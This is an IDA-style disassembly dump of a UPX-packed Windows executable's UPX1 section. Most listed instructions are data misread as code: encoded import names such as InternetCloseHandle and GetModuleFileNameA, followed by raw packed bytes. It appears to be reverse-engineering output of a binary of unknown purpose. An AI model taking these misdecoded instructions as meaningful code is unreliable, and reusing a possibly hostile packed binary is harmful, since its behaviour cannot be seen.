		inc	edi
		db	65h
		jz	short near ptr loc_4121F4+2


loc_4121A6:				; CODE XREF: UPX1:0041215Dj
		jb	short loc_412217


loc_4121A8:				; CODE XREF: UPX1:00412156j
		arpl	[ecx+64h], ax
		db	64h
		jb	short loc_412213
		jnb	short near ptr loc_412222+1
		add	[ecx], al
		push	esp
		insb


loc_4121B4:				; CODE XREF: UPX1:0041213Ej
		jnb	short loc_4121FD
		db	65h
		jz	short near ptr loc_41220E+1
		popa
		insb


loc_4121BB:				; CODE XREF: UPX1:loc_412166j
		jnz	short loc_412222
		add	[ecx], al
		push	esp
		insb
		jnb	short near ptr loc_412202+2
		insb
		insb
		outsd
		arpl	[eax], ax


loc_4121C8:				; CODE XREF: UPX1:00412158j
					; UPX1:00412168j
		add	[esp+ebp*2+73h], edx
		push	ebx
		db	65h
		jz	short near ptr loc_412224+2
		popa
		insb
		jnz	short near ptr loc_412238+1
		add	[ecx], al
		push	esp
		insb
		jnb	short near ptr loc_41221F+1
		jb	short loc_412241


loc_4121DC:				; CODE XREF: UPX1:0041216Cj
		add	gs:[ecx], al
		dec	ecx


loc_4121E0:				; CODE XREF: UPX1:0041216Aj
		outsb


loc_4121E1:				; CODE XREF: UPX1:00412191j
		jz	short near ptr loc_412247+1
		jb	short near ptr loc_41224E+3
		outsd
		arpl	[ebx+65h], bp
		db	64h
		dec	ecx
		outsb
		arpl	[edx+65h], si
		insd
		outs	dx, byte ptr gs:[esi]
		jz	short $+2


loc_4121F4:				; CODE XREF: UPX1:0041217Ej
					; UPX1:0041218Aj ...
		add	[ebx+65h], edx
		jz	short loc_412245
		popa
		jnb	short loc_412270
		inc	ebp


loc_4121FD:				; CODE XREF: UPX1:loc_4121B4j
		jb	short near ptr loc_412270+1
		outsd
		jb	short $+2


loc_412202:				; CODE XREF: UPX1:00412195j
					; UPX1:004121C1j
		add	[edi+65h], eax
		jz	short near ptr loc_412247+3
		jnz	short loc_41227B
		jb	short loc_412270
		outsb
		jz	short near ptr loc_412261+1


loc_41220E:				; CODE XREF: UPX1:004121B6j
		push	64616572h


loc_412213:				; CODE XREF: UPX1:004121ABj
		dec	ecx
		add	fs:[ecx], al


loc_412217:				; CODE XREF: UPX1:loc_4121A6j
		inc	edi
		db	65h
		jz	short near ptr loc_412263+4
		popa
		jnb	short near ptr loc_412291+1
		inc	ebp


loc_41221F:				; CODE XREF: UPX1:004121D8j
		jb	short loc_412293
		outsd


loc_412222:				; CODE XREF: UPX1:loc_4121BBj
					; UPX1:004121AEj
		jb	short $+2


loc_412224:				; CODE XREF: UPX1:004121CDj
		add	[ecx+6Eh], ecx
		jz	short near ptr loc_41228D+1
		jb	short loc_412297
		outsd
		arpl	[ebx+65h], bp
		db	64h
		inc	esp
		arpl	gs:[edx+65h], si
		insd
		outs	dx, byte ptr gs:[esi]


loc_412238:				; CODE XREF: UPX1:004121D2j
		jz	short $+2
		add	[ebx+6Ch], edx
		db	65h, 65h
		jo	short $+4


loc_412241:				; CODE XREF: UPX1:004121DAj
		add	[eax+65h], ecx
		popa


loc_412245:				; CODE XREF: UPX1:004121F7j
		jo	short near ptr loc_412297+3


loc_412247:				; CODE XREF: UPX1:loc_4121E1j
					; UPX1:00412205j
		imul	edi, [edx+65h],	78450100h


loc_41224E:				; CODE XREF: UPX1:004121E3j
		imul	esi, [eax+edx*2+72h], 7365636Fh
		jnb	short $+2
		add	[edi+65h], eax
		jz	short near ptr loc_4122A9+1
		outsd
		db	64h
		jnz	short near ptr loc_4122CC+1


loc_412261:				; CODE XREF: UPX1:0041220Cj
		db	65h
		inc	esi


loc_412263:				; CODE XREF: UPX1:00412218j
		imul	ebp, [ebp+4Eh],	41656D61h
		add	[ecx], al
		inc	esi
		jb	short loc_4122D5


loc_412270:				; CODE XREF: UPX1:004121FAj
					; UPX1:00412209j ...
		db	65h
		inc	ebp
		outsb
		jbe	short near ptr loc_4122DC+2
		jb	short near ptr loc_4122E4+2
		outsb
		insd
		outs	dx, byte ptr gs:[esi]


loc_41227B:				; CODE XREF: UPX1:00412207j
		jz	short loc_4122D0
		jz	short near ptr loc_4122F0+1
		imul	ebp, [esi+67h],	1004173h
		inc	edi
		db	65h
		jz	short loc_4122CF
		outsb
		jbe	short near ptr loc_4122F5+1


loc_41228D:				; CODE XREF: UPX1:00412227j
		jb	short near ptr loc_4122F7+7
		outsb
		insd


loc_412291:				; CODE XREF: UPX1:0041221Cj
		outs	dx, byte ptr gs:[esi]


loc_412293:				; CODE XREF: UPX1:loc_41221Fj
		jz	short loc_4122E8
		jz	short loc_412309


loc_412297:				; CODE XREF: UPX1:00412229j
					; UPX1:loc_412245j
		imul	ebp, [esi+67h],	46010073h
		jb	short near ptr loc_412303+2
		db	65h
		inc	ebp
		outsb
		jbe	short loc_41230E
		jb	short near ptr loc_412315+1
		outsb
		insd


loc_4122A9:				; CODE XREF: UPX1:0041225Bj
		outs	dx, byte ptr gs:[esi]
		jz	short near ptr loc_4122FF+1
		jz	short loc_412321
		imul	ebp, [esi+67h],	1005773h
		push	edi
		imul	esp, [ebp+43h],	54726168h
		outsd
		dec	ebp
		jnz	short near ptr loc_41232E+1
		jz	short loc_41232E
		inc	edx
		jns	short near ptr loc_41233A+2
		add	gs:[ecx], al
		inc	edi


loc_4122CC:				; CODE XREF: UPX1:0041225Ej
		db	65h
		jz	short loc_412314


loc_4122CF:				; CODE XREF: UPX1:00412287j
		outsb


loc_4122D0:				; CODE XREF: UPX1:loc_41227Bj
		jbe	short near ptr loc_41233A+1
		jb	short loc_412343
		outsb


loc_4122D5:				; CODE XREF: UPX1:0041226Ej
		insd
		outs	dx, byte ptr gs:[esi]
		jz	short near ptr loc_41232C+1
		jz	short loc_41234E


loc_4122DC:				; CODE XREF: UPX1:00412273j
		imul	ebp, [esi+67h],	1005773h
		push	ebx


loc_4122E4:				; CODE XREF: UPX1:00412275j
		db	65h
		jz	short near ptr loc_41232E+1
		popa


loc_4122E8:				; CODE XREF: UPX1:loc_412293j
		outsb
		db	64h
		insb
		db	65h
		inc	ebx
		outsd
		jnz	short near ptr loc_41235A+4


loc_4122F0:				; CODE XREF: UPX1:0041227Dj
		jz	short $+2
		add	[edi+65h], eax


loc_4122F5:				; CODE XREF: UPX1:0041228Bj
		jz	short loc_41233D


loc_4122F7:				; CODE XREF: UPX1:loc_41228Dj
		imul	ebp, [ebp+54h],	657079h


loc_4122FF:				; CODE XREF: UPX1:004122ABj
		add	[ebp+6Ch], eax


loc_412303:				; CODE XREF: UPX1:0041229Ej
		db	65h
		jz	short near ptr loc_41236A+1
		inc	ebx
		jb	short near ptr loc_412371+1


loc_412309:				; CODE XREF: UPX1:00412295j
		jz	short loc_412374
		arpl	[ecx+6Ch], sp


loc_41230E:				; CODE XREF: UPX1:004122A3j
		push	ebx
		arpl	gs:[ecx+ebp*2+6Fh], si


loc_412314:				; CODE XREF: UPX1:loc_4122CCj
		outsb


loc_412315:				; CODE XREF: UPX1:004122A5j
		add	[ecx], al
		dec	eax
		db	65h
		popa
		jo	short near ptr loc_41235A+6
		db	65h
		jnb	short near ptr loc_41238D+6
		jb	short near ptr loc_41238D+3


loc_412321:				; CODE XREF: UPX1:004122ADj
		jns	short $+2
		add	[eax+65h], ecx
		popa
		jo	short loc_41236C
		jb	short near ptr loc_41238D+3
		popa


loc_41232C:				; CODE XREF: UPX1:004122D8j
		jz	short near ptr loc_41238D+6


loc_41232E:				; CODE XREF: UPX1:004122C3j
					; UPX1:004122C1j ...
		add	[ecx], al
		push	esi
		imul	esi, [edx+74h],	466C6175h
		jb	short loc_41239F


loc_41233A:				; CODE XREF: UPX1:loc_4122D0j
					; UPX1:004122C6j
		add	gs:[ecx], al


loc_41233D:				; CODE XREF: UPX1:loc_4122F5j
		push	ecx
		jnz	short loc_4123A5
		jb	short loc_4123BB
		push	eax


loc_412343:				; CODE XREF: UPX1:004122D2j
		db	65h
		jb	short loc_4123AC
		outsd
		jb	short loc_4123B6
		popa
		outsb
		arpl	[ebp+43h], sp


loc_41234E:				; CODE XREF: UPX1:004122DAj
		outsd
		jnz	short loc_4123BF
		jz	short near ptr loc_4123B6+2
		jb	short $+2
		add	[edi+65h], eax
		jz	short loc_4123AE


loc_41235A:				; CODE XREF: UPX1:004122EEj
					; UPX1:0041231Aj
		imul	esp, [ebx+6Bh],	6E756F43h
		jz	short $+2
		add	[edi+65h], eax
		jz	short near ptr loc_4123AA+1
		jnz	short loc_4123DC


loc_41236A:				; CODE XREF: UPX1:loc_412303j
		jb	short loc_4123D1


loc_41236C:				; CODE XREF: UPX1:00412327j
		outsb
		jz	short loc_4123BF
		jb	short loc_4123E0


loc_412371:				; CODE XREF: UPX1:00412307j
		arpl	[ebp+73h], sp


loc_412374:				; CODE XREF: UPX1:loc_412309j
		jnb	short loc_4123BF
		add	fs:[ecx], al
		inc	edi
		db	65h
		jz	short near ptr loc_4123CF+1
		jns	short near ptr loc_4123ED+5
		jz	short near ptr loc_4123E0+6
		insd
		push	esp
		imul	ebp, [ebp+65h],	69467341h
		insb
		db	65h
		push	esp


loc_41238D:				; CODE XREF: UPX1:0041231Fj
					; UPX1:00412329j ...
		imul	ebp, [ebp+65h],	654C0100h
		popa
		jbe	short loc_4123FC
		inc	ebx
		jb	short loc_412403
		jz	short near ptr loc_412404+1
		arpl	[ecx+6Ch], sp


loc_41239F:				; CODE XREF: UPX1:00412338j
		push	ebx
		arpl	gs:[ecx+ebp*2+6Fh], si


loc_4123A5:				; CODE XREF: UPX1:0041233Ej
		outsb
		add	[ecx], al
		inc	ebp
		outsb


loc_4123AA:				; CODE XREF: UPX1:00412366j
		jz	short near ptr loc_41240C+5


loc_4123AC:				; CODE XREF: UPX1:loc_412343j
		jb	short near ptr loc_4123ED+4


loc_4123AE:				; CODE XREF: UPX1:00412358j
		jb	short near ptr loc_412417+2
		jz	short near ptr loc_412417+4
		arpl	[ecx+6Ch], sp
		push	ebx


loc_4123B6:				; CODE XREF: UPX1:00412347j
					; UPX1:00412351j
		arpl	gs:[ecx+ebp*2+6Fh], si


loc_4123BB:				; CODE XREF: UPX1:00412340j
		outsb
		add	[ecx], al
		inc	edi


loc_4123BF:				; CODE XREF: UPX1:0041234Fj
					; UPX1:0041236Dj ...
		db	65h
		jz	short near ptr loc_412404+1
		push	eax
		dec	ecx
		outsb
		outsw
		add	[ecx], al
		inc	edi
		db	65h
		jz	short near ptr loc_41240C+2
		inc	ebx
		push	eax


loc_4123CF:				; CODE XREF: UPX1:0041237Aj
		add	[ecx], al


loc_4123D1:				; CODE XREF: UPX1:loc_41236Aj
		inc	edi
		db	65h
		jz	short loc_412424
		inc	ebp
		dec	ebp
		inc	ebx
		push	eax
		add	[ecx], al
		dec	ecx


loc_4123DC:				; CODE XREF: UPX1:00412368j
		jnb	short loc_412434
		popa
		insb


loc_4123E0:				; CODE XREF: UPX1:0041236Fj
					; UPX1:0041237Fj
		imul	esp, [ebx+eax*2+6Fh], 61506564h
		add	gs:[bx+di], al
		push	esi


loc_4123ED:				; CODE XREF: UPX1:loc_4123ACj
					; UPX1:0041237Dj
		imul	esi, [edx+74h],	416C6175h
		insb
		insb
		outsd
		arpl	[eax], ax
		add	[eax+65h], ecx


loc_4123FC:				; CODE XREF: UPX1:00412395j
		popa
		jo	short loc_412451
		db	65h
		inc	ecx
		insb
		insb


loc_412403:				; CODE XREF: UPX1:00412398j
		outsd


loc_412404:				; CODE XREF: UPX1:0041239Aj
					; UPX1:loc_4123BFj
		arpl	[eax], ax
		add	[edi+ebp*2+61h], ecx
		db	64h
		dec	esp


loc_41240C:				; CODE XREF: UPX1:004123CAj
					; UPX1:loc_4123AAj
		imul	esp, [edx+72h],	41797261h
		add	[ecx], al
		dec	ecx
		outsb


loc_412417:				; CODE XREF: UPX1:loc_4123AEj
					; UPX1:004123B0j
		imul	esi, [ecx+ebp*2+61h], 657A696Ch
		inc	ebx
		jb	short loc_41248B
		jz	short near ptr loc_41248B+2


loc_412424:				; CODE XREF: UPX1:004123D2j
		arpl	[ecx+6Ch], sp
		push	ebx
		arpl	gs:[ecx+ebp*2+6Fh], si
		outsb
		add	[ecx], al
		inc	edi
		db	65h
		jz	short near ptr loc_41247D+3


loc_412434:				; CODE XREF: UPX1:loc_4123DCj
		outsd
		arpl	[ecx+6Ch], sp
		db	65h
		dec	ecx
		outsb
		outsw
		inc	ecx
		add	[ecx], al
		inc	edi
		db	65h
		jz	short near ptr byte_412497
		jz	short loc_4124B8
		imul	ebp, [esi+67h],	65707954h
		inc	ecx
		add	[ecx], al
		dec	ebp


loc_412451:				; CODE XREF: UPX1:004123FDj
		jnz	short loc_4124BF
		jz	short loc_4124BE
		inc	edx
		jns	short near ptr loc_4124CB+1
		db	65h
		push	esp
		outsd
		push	edi
		imul	esp, [ebp+43h],	726168h
		add	[edi+65h], eax
		jz	short loc_4124BC
		jz	short loc_4124DD
		imul	ebp, [esi+67h],	65707954h
		push	edi
		add	[ecx], al
		dec	esp
		inc	ebx
		dec	ebp
		popa
		jo	short near ptr loc_4124CB+3
		jz	short loc_4124EF


loc_41247D:				; CODE XREF: UPX1:00412431j
		imul	ebp, [esi+67h],	4C010041h
		inc	ebx
		dec	ebp
		popa
		jo	short loc_4124DC
		jz	short loc_4124FD


loc_41248B:				; CODE XREF: UPX1:00412420j
					; UPX1:00412422j
		imul	ebp, [esi+67h],	6D000057h
; ---------------------------------------------------------------------------
		dw 0
		db 0, 20h, 0B1h
byte_412497	db 0			; CODE XREF: UPX1:00412441j
		db    0
		db 1, 49h, 6Eh
aTernetclosehan	db 'ternetCloseHandle',0
		dw 4901h
		dd 7265746Eh, 4F74656Eh
; ---------------------------------------------------------------------------


loc_4124B8:				; CODE XREF: UPX1:00412444j
		jo	short loc_41251F
		outsb
		inc	ecx


loc_4124BC:				; CODE XREF: UPX1:00412467j
		add	[ecx], al


loc_4124BE:				; CODE XREF: UPX1:00412453j
		dec	ecx


loc_4124BF:				; CODE XREF: UPX1:loc_412451j
		outsb
		jz	short near ptr byte_412527
		jb	short near ptr word_412532
		db	65h
		jz	short near ptr byte_412519
		db	65h
		popa
		db	64h
		inc	esi


loc_4124CB:				; CODE XREF: UPX1:00412456j
					; UPX1:00412479j
		imul	ebp, [ebp+0], 746E4901h
		db	65h
		jb	short near ptr dword_412544
		db	65h
		jz	short near ptr dword_412528
		jo	short loc_412540
		outsb


loc_4124DC:				; CODE XREF: UPX1:00412487j
		push	ebp


loc_4124DD:				; CODE XREF: UPX1:00412469j
		jb	short loc_41254B
		inc	ecx
; ---------------------------------------------------------------------------
		dd 0
		dd 45500000h, 14C0000h
		db 4, 0, 0A8h
; ---------------------------------------------------------------------------


loc_4124EF:				; CODE XREF: UPX1:0041247Bj
		mov	esi, 4960h
; ---------------------------------------------------------------------------
		dd 0
		dd 0E00000h
		db 3
; ---------------------------------------------------------------------------


loc_4124FD:				; CODE XREF: UPX1:00412489j
		add	[ebx], ecx
		add	[eax], ecx
; ---------------------------------------------------------------------------
		db 2 dup(0), 0B0h
		dd 50000000h, 0
		dd 41430000h, 10000000h, 0C0000000h
		db 0
byte_412519	db 3 dup(0)		; CODE XREF: UPX1:004124C4j
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_41251F:				; CODE XREF: UPX1:loc_4124B8j
		adc	[eax], al
; ---------------------------------------------------------------------------
		db 2 dup(0), 10h
		db 2 dup(0), 4
byte_412527	db 0			; CODE XREF: UPX1:004124C0j
dword_412528	dd 0				dd 40000h
		db 2 dup(0)
word_412532	dw 0			; CODE XREF: UPX1:004124C2j
		dd 20000000h, 10000001h, 7E260000h
; ---------------------------------------------------------------------------


loc_412540:				; CODE XREF: UPX1:004124D9j
		add	[eax], eax
		add	al, [eax]
; ---------------------------------------------------------------------------
dword_412544	dd 0				db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_41254B:				; CODE XREF: UPX1:loc_4124DDj
		adc	[eax], al
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 10000010h, 0
		dd 100000h, 2 dup(0)
		dd 0E55C0000h, 3C0000h,	10000000h, 0B00001h, 0Eh dup(0)
		dd 0DAF00000h, 400000h,	2 dup(0)
		dd 0C0000000h, 1340000h, 6 dup(0)
		dd 742E0000h, 747865h, 0A1E50000h, 10000000h, 0B0000000h
		dd 10000000h, 3	dup(0)
		dd 200000h, 722E6000h, 61746164h, 2C280000h, 0C0000000h
		dd 30000000h, 0C0000000h, 3 dup(0)
		dd 400000h, 642E4000h, 617461h,	1A280000h, 0F0000000h
		dd 10000000h, 0F0000000h, 3 dup(0)
		dd 400000h, 722EC000h, 637273h,	0B00000h, 10000000h, 10000001h
		dd 0
		dd 1, 2	dup(0)
		dd 400000h, 10004000h, 0E6CC0001h, 0
		dd 114E6h, 0C3CAA5F4h, 130405C7h, 6BC23654h, 3C08B9A4h
		dd 0D9390000h, 0B15F4157h, 26220B40h, 76E59B65h, 2A034CCAh
		dd 5F15F884h, 3FCB971Bh, 0DCCC03B2h, 12AE0040h,	0DC8024C5h
		dd 2E59AE90h, 30231331h, 0FFFE580Bh, 0DB3872E4h, 74731FD3h
		dd 676E6972h, 6F6F7420h, 0FE6F6C20h, 8DB7F60h, 61760C00h
		dd 2064696Ch, 736F7017h, 0FF697469h, 18DDDB3Fh,	0D2338800h
		dd 6E555724h, 776F6E6Bh, 7865206Eh, 65056563h, 1D70BDD7h
		dd 941F9C77h, 60223827h, 8F01474Dh, 730FB788h, 2E0F9640h
		dd 7235696Dh, 0B7BBFF74h, 6E4500FFh, 65646F63h,	74646F50h
		dd 4B277265h, 454E5245h, 2E32334Ch, 0B0BFEF44h,	444C4CCFh
		dd 6C461F65h, 65724673h, 0C80E0765h, 6553F6D8h,	75A35674h
		dd 6C41470Bh, 0DBD5035Dh, 43B63C1h, 0CA430388h,	6FF6EDEDh
		dd 0BE784572h, 65167250h, 6D537373h, 0BDBDB673h, 642E43EDh
		dd 75720028h, 656D6958h, 0BF1D72C3h, 72D50B40h,	547A0DAAh
		dd 53534F4Ch, 66FF92DDh, 53000E11h, 93474E49h, 0CB7FDB4Fh
		dd 12414DDAh, 36520011h, 0C343330h, 0C2E1FF41h,	70610D0Bh
		dd 61633870h, 6168200Fh, 146D2073h, 61B5AEB6h, 741714BFh
		dd 0DD266DC1h, 623066B6h, 68071361h, 0E6204316h, 7F86DFDAh
		dd 61726232h, 0E7207972h, 0D6F29C9Bh, 7463FFDAh, 0A2E796Ch
		dd 40656C50h, 746E111Bh, 81DBB561h, 275D31BDh, 0E75735Bh
		dd 0AE6F75CEh, 6D27192Eh, 6DC06620h, 81CB43D8h,	6D0A758Dh
		dd 339F2E23h, 775B732Dh, 864120D9h, 0DC4D5B75h,	0B7A2604Ch
		dd 66ADBAD6h, 69626DCDh, 6D187355h, 8DD7D62h, 6420806Fh
		dd 4A6EFC75h, 0DE648676h, 5BE3AD91h, 7A826107h,	762F540Ah
		dd 13DBEEF7h, 39659264h, 67756220h, 6F79200Fh, 3ED7343Ah
		dd 202EABB0h, 9F2A7249h, 6BB73DADh, 656BEB50h, 0C2ADCE5Dh
		dd 0B76B6F0Ch, 666F116Ch, 6C6C545Dh, 5B685F29h,	0A52D93F9h
		dd 2827FF69h, 766C632Fh, 72DA16F6h, 63289E29h, 9461A749h
		dd 5C75AE73h, 1A75A26Eh, 0CE1C02FCh, 441B7B37h,	69614D49h
		dd 1632F7FBh, 0A935B6B6h, 9E046566h, 82703568h,	4D161C33h
		dd 76882E65h, 10392130h, 77312F12h, 0FB64C278h,	5452BC65h
		dd 840A0C6Fh, 3AB4B9ADh, 0EC0F2E53h, 9BD873BDh,	609F4930h
		dd 0BB073B77h, 38321F64h, 0A66261FAh, 30B6B59Bh, 0AD4F8182h
		dd 81B42427h, 77E337ECh, 0A79B770h, 36372CB9h, 8D647473h
		dd 352067DDh, 76FD7570h, 87628069h, 2175B425h, 0A628C9A0h
		dd 5FF90A6Dh, 652A5F34h, 0ED7B2795h, 6582FB5h, 315FE2DCh
		dd 7B423739h, 706FF761h, 0F6FEB3Fh, 0D6D80C9h, 2B637386h
		dd 98707438h, 377046B6h, 48631931h, 239D81BEh, 0D6766D37h
		dd 759B6A61h, 589BF68h,	0AD832F6Bh, 34174610h, 0D09A4864h
		dd 2E61B76Dh, 0FAF4F20Dh, 22DB5B78h, 68738C71h,	968E5229h
		dd 0C8E44DEBh, 52BBF9C5h, 741C1C7Bh, 881CEEEFh,	87D2040Bh
		dd 0F2617740h, 14B433C3h, 103930B2h, 3E422AB5h,	65925AD7h
		dd 99382B2Dh, 9595BBECh, 73287567h, 0CC0C3257h,	0C466EBA0h
		dd 9B9B1A74h, 96C97AF1h, 0C1DE42h, 6D685B76h, 0B568B94Dh
		dd 69561566h, 24D660E5h, 2B2B433Ch, 0B6F44C0Fh,	13FCCDEDh
		dd 0A0Ah, 672E703Ch, 67736D14h,	20DF99D0h, 773E6175h, 1EDB3D32h
		dd 21A64506h, 3A26502Dh, 0A2507620h, 6CDC3BDAh,	6AF497AFh
		dd 4ED0612Fh, 937E62h, 0FFFFFFFFh, 4030201h, 8070605h
		dd 0C0B0A09h, 100F0E0Dh, 14131211h, 18171615h, 1C1B1A19h
		dd 201F1E1Dh, 0FFFE3605h, 24232221h, 28272625h,	2C2B2A29h
		dd 2F2E2Dh, 0FFFFCE32h,	3635FFFFh, 3A393837h, 3E3D3C3Bh
		dd 4241403Fh, 46454443h, 4A494847h, 4E4D4C4Bh, 5251504Fh
		dd 0FC6D5453h, 58D9406Fh, 5C5B5A59h, 605F5E5Dh,	6F0B63A8h
		dd 66F3B0BFh, 6B6A6938h, 70B36D6Ch, 75FD7271h, 0FFF51724h
		dd 79787776h, 7D7C7B7Ah, 3D007F7Eh, 81A9BC85h, 72439DC9h
		dd 32C22709h, 1ADAD835h, 0EC533041h, 0CC0FA76Eh, 3E4C26Fh
		dd 6E72656Bh, 47A06C65h, 3713C0C3h, 33170B43h, 77055CBAh
		dd 316A624Fh, 27F0B637h, 0C606F0DDh, 20AE6C1Bh,	49656948h
		dd 0DD796863h, 0FC68DB6Ch, 705D6376h, 6D421F1Eh, 4E1ECE14h
		dd 623B4124h, 0B2C1C027h, 0A02E1385h, 56E9590Ch, 79541B6Bh
		dd 61604421h, 2608AEB8h, 0FFB46110h, 8D6DB1A1h,	1D646F14h
		dd 0B0A97460h, 6763AE75h, 449876E7h, 3B79FA63h,	94212D73h
		dd 604899E8h, 7B20D923h, 7F627607h, 1CE52B29h, 644FB2A7h
		dd 0F7922579h, 429AE648h, 47B82517h, 0B2C096C9h, 661D3923h
		dd 60C6B023h, 2B92E765h, 0CA9094BDh, 14930F92h,	2695B2B6h
		dd 9DC34F27h, 88F8854Ch, 9E034A7Fh, 5BF68581h, 738F2B5Dh
		dd 0C6B1E79h, 1D1FCAD8h, 0E6F43660h, 8E408A16h,	410F67BCh
		dd 48F1B784h, 8776117h,	8B096DBh, 7F66761Ch, 70374886h
		dd 0F234B0Bh, 684954AEh, 7B7EDEB8h, 75034845h, 0EBED7464h
		dd 0D5CE0EC0h, 1D1B0CB2h, 95B08546h, 63F46FB0h,	27E120D9h
		dd 5A3F1F3Eh, 9620C183h, 0C6567664h, 742212C2h,	25188770h
		dd 0BFEF102Ch, 4A3864A1h, 213273B7h, 3B2D9A72h,	3F482630h
		dd 0E8BC205Bh, 2AFA612Dh, 846CD87Fh, 15BC3F2Dh,	4DC11494h
		dd 0B3840B60h, 0A417D301h, 0DF7417ACh, 23DF088Eh, 0EB1B4358h
		dd 76CDD962h, 66132FB2h, 33D5E0Bh, 0BAE9267Ch, 3C3C37E5h
		dd 3E3E003Dh, 32F0B25h,	0BE6B9E2Dh, 232A2BA6h, 3307267Ch
		dd 2A67659Ah, 29280715h, 6B663E2Ch, 3E3FECCFh, 3F024300h
		dd 6BA77D00h, 2A3E009Bh, 32B0B33h, 3DC3422Dh, 0B2B4FD3h
		dd 0D94B4530h, 0A76F1F74h, 3D8B21A7h, 23170021h, 0CF00E619h
		dd 0B6DD27CBh, 5F5FE2E4h, 0E67E130h, 0DC720B64h, 1A0F2BEDh
		dd 9701769h, 0AD073436h, 498E7B10h, 1F7E2BF2h, 7BD1EC31h
		dd 0BF60B0Ch, 73244AF6h, 160423F7h, 66B83E5Bh, 73EDF60h
		dd 2B286477h, 0C7AC3D45h, 35BCEC8h, 0A69A69A6h,	909CA8B4h
		dd 0E9B35B84h, 1F707C9Ah, 0C9DA4F64h, 4D968C03h, 587834D3h
		dd 54CE5C3Ch, 6BA6BA69h, 4C500B00h, 0A6444803h,	40A69A69h
		dd 282C303Ch, 9A69A69Ah, 181C2024h, 9DD91014h, 80C69AEh
		dd 0FC03044Bh, 9A69A6CDh, 0F0F4F866h, 0A69AE8ECh, 0E0E49A69h
		dd 0D0D4D8DCh, 69A69A69h, 0C0C4C8CCh, 9A69A6BCh, 0A8B4B8A6h
		dd 0AE9A949Ch, 70889A69h, 30635064h, 9D34D310h,	347CC7Bh
		dd 9D708CB0h, 4C4D34DBh, 0CBE8042Ch, 34D4036Fh,	0CC34D34Dh
		dd 849098BCh, 0D34D34DBh, 10385874h, 4D87CAE8h,	39D34D3h
		dd 30547894h, 0E84C0204h, 3FC9D836h, 16F853C9h,	0D7804EA6h
		dd 0B12B7657h, 53E845F0h, 55170474h, 580372A7h,	49302742h
		dd 0ABE3BC1Dh, 4C1B5F0Dh, 416341FCh, 59B36950h,	13BA45ACh
		dd 0DDB460Fh, 51B716B8h, 786F429Fh, 59545531h, 4553E032h
		dd 32019152h, 205C94C9h, 91322028h, 48003Ch, 4C808410h
		dd 811000C8h, 0C810B03Bh, 1823F01h, 1902193h, 83211002h
		dd 1BF70C8h, 472451Dh, 8C610168h, 196C0h, 5C810B01h, 2010136h
		dd 956CA83Bh, 42FFDF0Dh, 1DF332Eh, 1B141B14h, 16C2259h
		dd 23EF2F00h, 0F702365Bh, 0AFFFF11h, 8189006Ah,	85848382h
		dd 89888786h, 0FF8C8B8Ah, 8DFFFFFFh, 91908F8Eh,	95949392h
		dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h
		dd 0FEACABAAh, 0ADFFFFFFh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h
		dd 0BDBCBBBAh, 0C1C0BFBEh, 0C5C4C3C2h, 0C9C8C7C6h, 0FFFFCBCAh
		dd 0CE7B0DFFh, 0D2D1D0CFh, 0D6D5D4D3h, 0DAD9D8D7h, 0DEDDDCDBh
		dd 0E2E1E0DFh, 0C0E5E4E3h, 0E6FFFFFFh, 0EAE9E8E7h, 0EEEDECEBh
		dd 0F2F1F0EFh, 0F6F5F4F3h, 0FAF9F8F7h, 0FEFDFCFBh, 46010AFFh
		dd 0CAB0D025h, 0D0402006h, 85548FFh, 61587FA3h,	1F5024A1h
		dd 40027F41h, 3A48487Fh, 0FB3A6D6Dh, 4DCD9B9Ah,	202C6400h
		dd 7908204Dh, 96E40300h, 2F0B00ADh, 0A25082Fh, 4D5BA0F4h
		dd 0CB4D4103h, 9BC93557h, 4E0BC683h, 874F766Fh,	0BF33E0B5h
		dd 14B1530Ah, 68EAB541h, 73B375A9h, 51234ABBh, 43EECFA3h
		dd 41656E07h, 89BAD370h, 4D90F04Ch, 62650FEDh, 9EF7BD72h
		dd 6123DC99h, 5F670A6Eh, 0EF7BDEEBh, 474B5357h,	43793743h
		dd 0DEF7B601h, 23333B3Fh, 58EDBE61h, 18646E7Bh,	54095E4Fh
		dd 0D6B01268h, 1373B068h, 0C7CEF57h, 76742B1Dh,	4D097554h
		dd 7553104Ah, 9B9EF7BDh, 373B4307h, 0DCE7272Fh,	1F23EF7Bh
		dd 150E0742h, 0CF62E71Ch, 312A2339h, 9C8D86B3h,	9439CE73h
		dd 0B0A9A29Bh, 3DC219B7h, 0CCC5BEE7h, 8BB0D300h, 6F954D14h
		dd 504D8707h, 156FC52Eh, 3A7074A1h, 6D232F2Fh, 0AD85669h
		dd 1E372CADh, 0A9BE3461h, 65E836D6h, 4E2F3B2Eh,	7B05FD02h
		dd 3D2F617Fh, 6A2E786Eh, 2F436770h, 332744Ch, 6964308Bh
		dd 0B5685E6Ch, 814A31C0h, 723E543Ch, 14A1243Fh,	697A6F77h
		dd 5DB36536h, 45DDDB36h, 4E05031Eh, 0FF89281Dh,	188CDAFFh
		dd 47B31A35h, 0E41FA85Dh, 46A1359Ah, 646148D2h,	4114435Dh
		dd 170F5FA0h, 3375081Dh, 40DB4C04h, 99865C53h, 6C0FD765h
		dd 0FCDCB003h, 6733DE27h, 0FF00B32Dh, 0ABAC1907h, 3BC0DFh
		dd 0DD43FD9Ch, 0ED973613h, 0B03B442Eh, 0C00113DBh, 5F600DBh
		dd 1FC859h, 0A226B5Bh, 0F8A5B0C9h, 7DD60213h, 9F088F01h
		dd 6486A714h, 123FB00h,	0C85CF8A7h, 446D85E5h, 0DC54F7DCh
		dd 0B606DC64h, 0FD5C5E40h, 0B617643Bh, 947C27F9h, 4BA49BDCh
		dd 33480324h, 0D994017Ch, 0B833490Ch, 0DD30F0E0h, 2C384030h
		dd 65C83367h, 6B7B81BFh, 0B87FDD28h, 43243359h,	4760D4E0h
		dd 0DD93908h, 0DD787B70h, 1BF2E5D4h, 56033358h,	59435B42h
		dd 0D0CB972Eh, 54999858h, 37B01C9Eh, 0A69A69A6h, 0C3A8855Dh
		dd 1B90AFDEh, 0B121FE9Bh, 0C8B144C7h, 0C8ED441Fh, 0DE2C7B67h
		dd 7B01440h, 4CC5CC03h,	13D755h, 7DD36372h, 3C1F031Bh
		dd 9CD3E280h, 3BB2DE2h,	1328C35Bh, 0D9FE2073h, 0F8366C9h
